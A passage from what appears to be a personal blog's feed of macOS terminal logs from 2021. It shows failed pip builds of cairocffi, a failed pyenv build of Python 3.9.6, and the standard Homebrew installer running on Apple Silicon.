le(code, __file__, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;exec&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;))&amp;#39; egg_info --egg-base /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-pip-egg-info-wdq78cuo
cwd: /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_6df35727083e4413bfaa3e41ad38bc09/
Complete output (31 lines):
WARNING: The wheel package is not available.
Traceback (most recent call last):
File &amp;#34;&amp;lt;string&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
File &amp;#34;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_6df35727083e4413bfaa3e41ad38bc09/setup.py&amp;#34;, line 10, in &amp;lt;module&amp;gt;
setup(
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/__init__.py&amp;#34;, line 153, in setup
return distutils.core.setup(**attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/core.py&amp;#34;, line 108, in setup
_setup_distribution = dist = klass(attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 434, in __init__
_Distribution.__init__(self, {
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/dist.py&amp;#34;, line 292, in __init__
self.finalize_options()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 743, in finalize_options
ep(self)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 750, in _finalize_setup_keywords
ep.load()(self, ep.name, value)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 219, in cffi_modules
add_cffi_module(dist, cffi_module)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 49, in add_cffi_module
execfile(build_file_name, mod_vars)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 25, in execfile
exec(code, glob, glob)
File &amp;#34;cairocffi/ffi_build.py&amp;#34;, line 26, in &amp;lt;module&amp;gt;
ffi = FFI()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/api.py&amp;#34;, line 48, in __init__
import _cffi_backend as backend
ImportError: dlopen(/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so, 2): Symbol not found: _ffi_prep_closure
Referenced from: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
Expected in: flat namespace
in /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/0f/0f/7e21b5ddd31b610e46a879c0d21e222dd0fef428c1fc86bbd2bd57fed8a7/cairocffi-1.0.2.tar.gz#sha256=01ac51ae12c4324ca5809ce270f9dd1b67f5166fe63bd3e497e9ea3ca91946f
f (from https://pypi.org/simple/cairocffi/) (requires-python:&amp;gt;= 3.5). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; Downloading cairocffi-1.0.1.tar.gz (68 kB)
|████████████████████████████████| 68 kB 48.1 MB/s
ERROR: Command errored out with exit status 1:
command: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/bin/python3.9 -c &amp;#39;import io, os, sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-instal
l-uxwwpx3n/cairocffi_60641da3bfa74b2abbdcfd8f77811245/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;; __file__=&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_60641da3bfa74b2abbdcfd8f77811245/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;;f
= getattr(tokenize, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;open&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, open)(__file__) if os.path.exists(__file__) else io.StringIO(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;from setuptools import setup; setup()&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);code = f.read().replace(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\r\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);f.close();exec(compi
le(code, __file__, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;exec&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;))&amp;#39; egg_info --egg-base /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-pip-egg-info-d6t_qnin
cwd: /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_60641da3bfa74b2abbdcfd8f77811245/
Complete output (31 lines):
WARNING: The wheel package is not available.
Traceback (most recent call last):
File &amp;#34;&amp;lt;string&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
File &amp;#34;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_60641da3bfa74b2abbdcfd8f77811245/setup.py&amp;#34;, line 10, in &amp;lt;module&amp;gt;
setup(
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/__init__.py&amp;#34;, line 153, in setup
return distutils.core.setup(**attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/core.py&amp;#34;, line 108, in setup
_setup_distribution = dist = klass(attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 434, in __init__
_Distribution.__init__(self, {
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/dist.py&amp;#34;, line 292, in __init__
self.finalize_options()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 743, in finalize_options
ep(self)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 750, in _finalize_setup_keywords
ep.load()(self, ep.name, value)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 219, in cffi_modules
add_cffi_module(dist, cffi_module)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 49, in add_cffi_module
execfile(build_file_name, mod_vars)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 25, in execfile
exec(code, glob, glob)
File &amp;#34;cairocffi/ffi_build.py&amp;#34;, line 26, in &amp;lt;module&amp;gt;
ffi = FFI()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/api.py&amp;#34;, line 48, in __init__
import _cffi_backend as backend
ImportError: dlopen(/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so, 2): Symbol not found: _ffi_prep_closure
Referenced from: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
Expected in: flat namespace
in /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/3e/f1/0d1dad825f6ec75d3d79d5673e7b836e7a23bf57fde0028fb8bf252d4259/cairocffi-1.0.1.tar.gz#sha256=9ca49d9bb0a52bd6a8263de137b4818e0889f3cd8d933165fb122669924ae3b
9 (from https://pypi.org/simple/cairocffi/) (requires-python:&amp;gt;= 3.5). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
Downloading cairocffi-1.0.0-py3-none-any.whl (88 kB)
|████████████████████████████████| 88 kB 52.9 MB/s
Requirement already satisfied: cffi&amp;gt;=1.1.0 in /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages (from cairocffi) (1.14.5)
Requirement already satisfied: pycparser in /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages (from cffi&amp;gt;=1.1.0-&amp;gt;cairocffi) (2.20)
Installing collected packages: cairocffi
Successfully installed cairocffi-1.0.0
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>pyenv install 3.9.6</title><link>https://hdknr.github.io/blogs/posts/2021/08/pyenv-install-3.9.6/</link><pubDate>Fri, 27 Aug 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/08/pyenv-install-3.9.6/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;% pyenv install 3.9.6
python-build: use openssl@1.1 from homebrew
python-build: use readline from homebrew
Downloading Python-3.9.6.tar.xz...
-&amp;gt; https://www.python.org/ftp/python/3.9.6/Python-3.9.6.tar.xz
Installing Python-3.9.6...
python-build: use readline from homebrew
python-build: use zlib from xcode sdk
WARNING: The Python readline extension was not compiled. Missing the GNU readline lib?
ERROR: The Python ssl extension was not compiled. Missing the OpenSSL lib?
Please consult to the Wiki page to fix the problem.
https://github.com/pyenv/pyenv/wiki/Common-build-problems
BUILD FAILED (OS X 11.5.2 using python-build 2.0.5-2-gb2eb2d28)
Inspect or clean up the working tree at /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/python-build.20210827141959.69396
Results logged to /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/python-build.20210827141959.69396.log
Last 10 log lines:
./python.exe -E -m ensurepip \
$ensurepip --root=/ ; \
fi
Looking in links: /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf
Processing /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf/setuptools-56.0.0-py3-none-any.whl
Processing /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf/pip-21.1.3-py3-none-any.whl
Installing collected packages: setuptools, pip
WARNING: The scripts pip3 and pip3.9 are installed in &amp;#39;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/bin&amp;#39; which is not on PATH.
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed pip-21.1.3 setuptools-56.0.0
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Homebrew Applie Silicon</title><link>https://hdknr.github.io/blogs/posts/2021/08/homebrew-applie-silicon/</link><pubDate>Thu, 26 Aug 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/08/homebrew-applie-silicon/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;% /bin/bash -c &amp;#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&amp;#34;
==&amp;gt; Checking for `sudo` access (which may request your password).
==&amp;gt; This script will install:
/opt/homebrew/bin/brew
/opt/homebrew/share/doc/homebrew
/opt/homebrew/share/man/man1/brew.1
/opt/homebrew/share/zsh/site-functions/_brew
/opt/homebrew/etc/bash_completion.d/brew
/opt/homebrew
==&amp;gt; The following new directories will be created:
/opt/homebrew/bin
/opt/homebrew/etc
/opt/homebrew/include
/opt/homebrew/lib
/opt/homebrew/sbin
/opt/homebrew/share
/opt/homebrew/var
/opt/homebrew/opt
/opt/homebrew/share/zsh
/opt/homebrew/share/zsh/site-functions
/opt/homebrew/var/homebrew
/opt/homebrew/var/homebrew/linked
/opt/homebrew/Cellar
/opt/homebrew/Caskroom
/opt/homebrew/Frameworks
Press RETURN to continue or any other key to abort
==&amp;gt; /usr/bin/sudo /bin/mkdir -p /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /bin/chmod u=rwx,g=rwx /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /bin/chmod g-w,o-w /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions
==&amp;gt; /usr/bin/sudo /usr/sbin/chown hdknr /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /usr/bin/chgrp admin /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /usr/sbin/chown -R hdknr:admin /opt/homebrew
==&amp;gt; Downloading and installing Homebrew...
remote: Enumerating objects: 189971, done.
remote: Counting objects: 100% (44/44), done.
remote: Compressing objects: 100% (44/44), done.
remote: Total 189971 (delta 0), reused 44 (delta 0), pack-reused 189927
Receiving objects: 100% (189971/189971), 51.67 MiB | 5.76 MiB/s, done.
Resolving deltas: 100% (140767/140767), done.
From https://github.com/Homebrew/brew
* [new branch] automerge-linux -&amp;gt; origin/automerge-linux
* [new branch] dependabot/bundler/Library/Homebrew/mechanize-2.8.2 -&amp;gt; origin/dependabot/bundler/Library/Homebrew/mechanize-2.8.2
* [new branch] dependabot/bundler/Library/Homebrew/mini_portile2-2.6.1 -&amp;gt; origin/dependabot/bundler/Library/Homebrew/mini_portile2-2.6.1
* [new branch] dependabot/bundler/Library/Homebrew/nokogiri-1.12.3 -&amp;gt; origin/dependabot/bundler/Library/Homebrew/nokogiri-1.12.3
* [new branch] master -&amp;gt; origin/master
* [new tag] 0.1 -&amp;gt; 0.1
* [new tag] 0.2 -&amp;gt; 0.2
* [new tag] 0.3 -&amp;gt; 0.3
* [new tag] 0.4 -&amp;gt; 0.4
* [new tag] 0.5 -&amp;gt; 0.5
* [new tag] 0.6 -&amp;gt; 0.6
* [new tag] 0.7 -&amp;gt; 0.7
* [new tag] 0.7.1 -&amp;gt; 0.7.1
* [new tag] 0.8 -&amp;gt; 0.8
* [new tag] 0.8.1 -&amp;gt; 0.8.1
* [new tag] 0.9 -&amp;gt; 0.9
* [new tag] 0.9.1 -&amp;gt; 0.9.1
* [new tag] 0.9.2 -&amp;gt; 0.9.2
* [new tag] 0.9.3 -&amp;gt; 0.9.3
* [new tag] 0.9.4 -&amp;gt; 0.9.4
* [new tag] 0.9.5 -&amp;gt; 0.9.5
* [new tag] 0.9.8 -&amp;gt; 0.9.8
* [new tag] 0.9.9 -&amp;gt; 0.9.9
* [new tag] 1.0.0 -&amp;gt; 1.0.0
* [new tag] 1.0.1 -&amp;gt; 1.0.1
* [new tag] 1.0.2 -&amp;gt; 1.0.2
* [new tag] 1.0.3 -&amp;gt; 1.0.3
* [new tag] 1.0.4 -&amp;gt; 1.0.4
* [new tag] 1.0.5 -&amp;gt; 1.0.5
* [new tag] 1.0.6 -&amp;gt; 1.0.6
* [new tag] 1.0.7 -&amp;gt; 1.0.7
* [new tag] 1.0.8 -&amp;gt; 1.0.8
* [new tag] 1.0.9 -&amp;gt; 1.0.9
* [new tag] 1.1.0 -&amp;gt; 1.1.0
* [new tag] 1.1.1 -&amp;gt; 1.1.1
* [new tag] 1.1.10 -&amp;gt; 1.1.10
* [new tag] 1.1.11 -&amp;gt; 1.1.11
* [new tag] 1.1.12 -&amp;gt; 1.1.12
* [new tag] 1.1.13 -&amp;gt; 1.1.13
* [new tag] 1.1.2 -&amp;gt; 1.1.2
* [new tag] 1.1.3 -&amp;gt; 1.1.3
* [new tag] 1.1.4 -&amp;gt; 1.1.4
* [new tag] 1.1.5 -&amp;gt; 1.1.5
* [new tag] 1.1.6 -&amp;gt; 1.1.6
* [new tag] 1.1.7 -&amp;gt; 1.1.7
* [new tag] 1.1.8 -&amp;gt; 1.1.8
* [new tag] 1.1.9 -&amp;gt; 1.1.9
* [new tag] 1.2.0 -&amp;gt; 1.2.0
* [new tag] 1.2.1 -&amp;gt; 1.2.1
* [new tag] 1.2.2 -&amp;gt; 1.2.2
* [new tag] 1.2.3 -&amp;gt; 1.2.3
* [new tag] 1.2.4 -&amp;gt; 1.2.4
* [new tag] 1.2.5 -&amp;gt; 1.2.5
* [new tag] 1.2.6 -&amp;gt; 1.2.6
* [new tag] 1.3.0 -&amp;gt; 1.3.0
* [new tag] 1.3.1 -&amp;gt; 1.3.1
* [new tag] 1.3.2 -&amp;gt; 1.3.2
* [new tag] 1.3.3 -&amp;gt; 1.3.3
* [new tag] 1.3.4 -&amp;gt; 1.3.4
* [new tag] 1.3.5 -&amp;gt; 1.3.5
* [new tag] 1.3.6 -&amp;gt; 1.3.6
* [new tag] 1.3.7 -&amp;gt; 1.3.7
* [new tag] 1.3.8 -&amp;gt; 1.3.8
* [new tag] 1.3.9 -&amp;gt; 1.3.9
* [new tag] 1.4.0 -&amp;gt; 1.4.0
* [new tag] 1.4.1 -&amp;gt; 1.4.1
* [new tag] 1.4.2 -&amp;gt; 1.4.2
* [new tag] 1.4.3 -&amp;gt; 1.4.3
* [new tag] 1.5.0 -&amp;gt; 1.5.0
* [new tag] 1.5.1 -&amp;gt; 1.5.1
* [new tag] 1.5.10 -&amp;gt; 1.5.10
* [new tag] 1.5.11 -&amp;gt; 1.5.11
* [new tag] 1.5.12 -&amp;gt; 1.5.12
* [new tag] 1.5.13 -&amp;gt; 1.5.13
* [new tag] 1.5.14 -&amp;gt; 1.5.14
* [new tag] 1.5.2 -&amp;gt; 1.5.2
* [new tag] 1.5.3 -&amp;gt; 1.5.3
* [new tag] 1.5.4 -&amp;gt; 1.5.4
* [new tag] 1.5.5 -&amp;gt; 1.5.5
* [new tag] 1.5.6 -&amp;gt; 1.5.6
* [new tag] 1.5.7 -&amp;gt; 1.5.7
* [new tag] 1.5.8 -&amp;gt; 1.5.8
* [new tag] 1.5.9 -&amp;gt; 1.5.9
* [new tag] 1.6.0 -&amp;gt; 1.6.0
* [new tag] 1.6.1 -&amp;gt; 1.6.1
* [new tag] 1.6.10 -&amp;gt; 1.6.10
* [new tag] 1.6.11 -&amp;gt; 1.6.11
* [new tag] 1.6.12 -&amp;gt; 1.6.12
* [new tag] 1.6.13 -&amp;gt; 1.6.13
* [new tag] 1.6.14 -&amp;gt; 1.6.14
* [new tag] 1.6.15 -&amp;gt; 1.6.15
* [new tag] 1.6.16 -&amp;gt; 1.6.16
* [new tag] 1.6.17 -&amp;gt; 1.6.17
* [new tag] 1.6.2 -&amp;gt; 1.6.2
* [new tag] 1.6.3 -&amp;gt; 1.6.3
* [new tag] 1.6.4 -&amp;gt; 1.6.4
* [new tag] 1.6.5 -&amp;gt; 1.6.5
* [new tag] 1.6.6 -&amp;gt; 1.6.6
* [new tag] 1.6.7 -&amp;gt; 1.6.7
* [new tag] 1.6.8 -&amp;gt; 1.6.8
* [new tag] 1.6.9 -&amp;gt; 1.6.9
* [new tag] 1.7.0 -&amp;gt; 1.7.0
* [new tag] 1.7.1 -&amp;gt; 1.7.1
* [new tag] 1.7.2 -&amp;gt; 1.7.2
* [new tag] 1.7.3 -&amp;gt; 1.7.3
* [new tag] 1.7.4 -&amp;gt; 1.7.4
* [new tag] 1.7.5 -&amp;gt; 1.7.5
* [new tag] 1.7.6 -&amp;gt; 1.7.6
* [new tag] 1.7.7 -&amp;gt; 1.7.7
* [new tag] 1.8.0 -&amp;gt; 1.8.0
* [new tag] 1.8.1 -&amp;gt; 1.8.1
* [new tag] 1.8.2 -&amp;gt; 1.8.2
* [new tag] 1.8.3 -&amp;gt; 1.8.3
* [new tag] 1.8.4 -&amp;gt; 1.8.4
* [new tag] 1.8.5 -&amp;gt; 1.8.5
* [new tag] 1.8.6 -&amp;gt; 1.8.6
* [new tag] 1.9.0 -&amp;gt; 1.9.0
* [new tag] 1.9.1 -&amp;gt; 1.9.1
* [new tag] 1.9.2 -&amp;gt; 1.9.2
* [new tag] 1.9.3 -&amp;gt; 1.9.3
* [new tag] 2.0.0 -&amp;gt; 2.0.0
* [new tag] 2.0.1 -&amp;gt; 2.0.1
* [new tag] 2.0.2 -&amp;gt; 2.0.2
* [new tag] 2.0.3 -&amp;gt; 2.0.3
* [new tag] 2.0.4 -&amp;gt; 2.0.4
* [new tag] 2.0.5 -&amp;gt; 2.0.5
* [new tag] 2.0.6 -&amp;gt; 2.0.6
* [new tag] 2.1.0 -&amp;gt; 2.1.0
* [new tag] 2.1.1 -&amp;gt; 2.1.1
* [new tag] 2.1.10 -&amp;gt; 2.1.10
* [new tag] 2.1.11 -&amp;gt; 2.1.11
* [new tag] 2.1.12 -&amp;gt; 2.1.12
* [new tag] 2.1.13 -&amp;gt; 2.1.13
* [new tag] 2.1.14 -&amp;gt; 2.1.14
* [new tag] 2.1.15 -&amp;gt; 2.1.15
* [new tag] 2.1.16 -&amp;gt; 2.1.16
* [new tag] 2.1.2 -&amp;gt; 2.1.2
* [new tag] 2.1.3 -&amp;gt; 2.1.3
* [new tag] 2.1.4 -&amp;gt; 2.1.4
* [new tag] 2.1.5 -&amp;gt; 2.1.5
* [new tag] 2.1.6 -&amp;gt; 2.1.6
* [new tag] 2.1.7 -&amp;gt; 2.1.7
* [new tag] 2.1.8 -&amp;gt; 2.1.8
* [new tag] 2.1.9 -&amp;gt; 2.1.9
* [new tag] 2.2.0 -&amp;gt; 2.2.0
* [new tag] 2.2.1 -&amp;gt; 2.2.1
* [new tag] 2.2.10 -&amp;gt; 2.2.10
* [new tag] 2.2.11 -&amp;gt; 2.2.11
* [new tag] 2.2.12 -&amp;gt; 2.2.12
* [new tag] 2.2.13 -&amp;gt; 2.2.13
* [new tag] 2.2.14 -&amp;gt; 2.2.14
* [new tag] 2.2.15 -&amp;gt; 2.2.15
* [new tag] 2.2.16 -&amp;gt; 2.2.16
* [new tag] 2.2.17 -&amp;gt; 2.2.17
* [new tag] 2.2.2 -&amp;gt; 2.2.2
* [new tag] 2.2.3 -&amp;gt; 2.2.3
* [new tag] 2.2.4 -&amp;gt; 2.2.4
* [new tag] 2.2.5 -&amp;gt; 2.2.5
* [new tag] 2.2.6 -&amp;gt; 2.2.6
* [new tag] 2.2.7 -&amp;gt; 2.2.7
* [new tag] 2.2.8 -&amp;gt; 2.2.8
* [new tag] 2.2.9 -&amp;gt; 2.2.9
* [new tag] 2.3.0 -&amp;gt; 2.3.0
* [new tag] 2.4.0 -&amp;gt; 2.4.0
* [new tag] 2.4.1 -&amp;gt; 2.4.1
* [new tag] 2.4.10 -&amp;gt; 2.4.10
* [new tag] 2.4.11 -&amp;gt; 2.4.11
* [new tag] 2.4.12 -&amp;gt; 2.4.12
* [new tag] 2.4.13 -&amp;gt; 2.4.13
* [new tag] 2.4.14 -&amp;gt; 2.4.14
* [new tag] 2.4.15 -&amp;gt; 2.4.15
* [new tag] 2.4.16 -&amp;gt; 2.4.16
* [new tag] 2.4.2 -&amp;gt; 2.4.2
* [new tag] 2.4.3 -&amp;gt; 2.4.3
* [new tag] 2.4.4 -&amp;gt; 2.4.4
* [new tag] 2.4.5 -&amp;gt; 2.4.5
* [new tag] 2.4.6 -&amp;gt; 2.4.6
* [new tag] 2.4.7 -&amp;gt; 2.4.7
* [new tag] 2.4.8 -&amp;gt; 2.4.8
* [new tag] 2.4.9 -&amp;gt; 2.4.9
* [new tag] 2.5.0 -&amp;gt; 2.5.0
* [new tag] 2.5.1 -&amp;gt; 2.5.1
* [new tag] 2.5.10 -&amp;gt; 2.5.10
* [new tag] 2.5.11 -&amp;gt; 2.5.11
* [new tag] 2.5.12 -&amp;gt; 2.5.12
* [new tag] 2.5.2 -&amp;gt; 2.5.2
* [new tag] 2.5.3 -&amp;gt; 2.5.3
* [new tag] 2.5.4 -&amp;gt; 2.5.4
* [new tag] 2.5.5 -&amp;gt; 2.5.5
* [new tag] 2.5.6 -&amp;gt; 2.5.6
* [new tag] 2.5.7 -&amp;gt; 2.5.7
* [new tag] 2.5.8 -&amp;gt; 2.5.8
* [new tag] 2.5.9 -&amp;gt; 2.5.9
* [new tag] 2.6.0 -&amp;gt; 2.6.0
* [new tag] 2.6.1 -&amp;gt; 2.6.1
* [new tag] 2.6.2 -&amp;gt; 2.6.2
* [new tag] 2.7.0 -&amp;gt; 2.7.0
* [new tag] 2.7.1 -&amp;gt; 2.7.1
* [new tag] 2.7.2 -&amp;gt; 2.7.2
* [new tag] 2.7.3 -&amp;gt; 2.7.3
* [new tag] 2.7.4 -&amp;gt; 2.7.4
* [new tag] 2.7.5 -&amp;gt; 2.7.5
* [new tag] 2.7.6 -&amp;gt; 2.7.6
* [new tag] 2.7.7 -&amp;gt; 2.7.7
* [new tag] 3.0.0 -&amp;gt; 3.0.0
* [new tag] 3.0.1 -&amp;gt; 3.0.1
* [new tag] 3.0.10 -&amp;gt; 3.0.10
* [new tag] 3.0.11 -&amp;gt; 3.0.11
* [new tag] 3.0.2 -&amp;gt; 3.0.2
* [new tag] 3.0.3 -&amp;gt; 3.0.3
* [new tag] 3.0.4 -&amp;gt; 3.0.4
* [new tag] 3.0.5 -&amp;gt; 3.0.5
* [new tag] 3.0.6 -&amp;gt; 3.0.6
* [new tag] 3.0.7 -&amp;gt; 3.0.7
* [new tag] 3.0.8 -&amp;gt; 3.0.8
* [new tag] 3.0.9 -&amp;gt; 3.0.9
* [new tag] 3.1.0 -&amp;gt; 3.1.0
* [new tag] 3.1.1 -&amp;gt; 3.1.1
* [new tag] 3.1.10 -&amp;gt; 3.1.10
* [new tag] 3.1.11 -&amp;gt; 3.1.11
* [new tag] 3.1.12 -&amp;gt; 3.1.12
* [new tag] 3.1.2 -&amp;gt; 3.1.2
* [new tag] 3.1.3 -&amp;gt; 3.1.3
* [new tag] 3.1.4 -&amp;gt; 3.1.4
* [new tag] 3.1.5 -&amp;gt; 3.1.5
* [new tag] 3.1.6 -&amp;gt; 3.1.6
* [new tag] 3.1.7 -&amp;gt; 3.1.7
* [new tag] 3.1.8 -&amp;gt; 3.1.8
* [new tag] 3.1.9 -&amp;gt; 3.1.9
* [new tag] 3.2.0 -&amp;gt; 3.2.0
* [new tag] 3.2.1 -&amp;gt; 3.2.1
* [new tag] 3.2.2 -&amp;gt; 3.2.2
* [new tag] 3.2.3 -&amp;gt; 3.2.3
* [new tag] 3.2.4 -&amp;gt; 3.2.4
* [new tag] 3.2.5 -&amp;gt; 3.2.5
* [new tag] 3.2.6 -&amp;gt; 3.2.6
* [new tag] 3.2.7 -&amp;gt; 3.2.7
* [new tag] 3.2.8 -&amp;gt; 3.2.8
* [new tag] 3.2.9 -&amp;gt; 3.2.9
HEAD is now at 858f3fbaa Merge pull request #11921 from Homebrew/dependabot/bundler/Library/Homebrew/sorbet-0.5.9070
==&amp;gt; Tapping homebrew/core
remote: Enumerating objects: 1030054, done.
remote: Counting objects: 100% (138/138), done.
remote: Compressing objects: 100% (67/67), done.
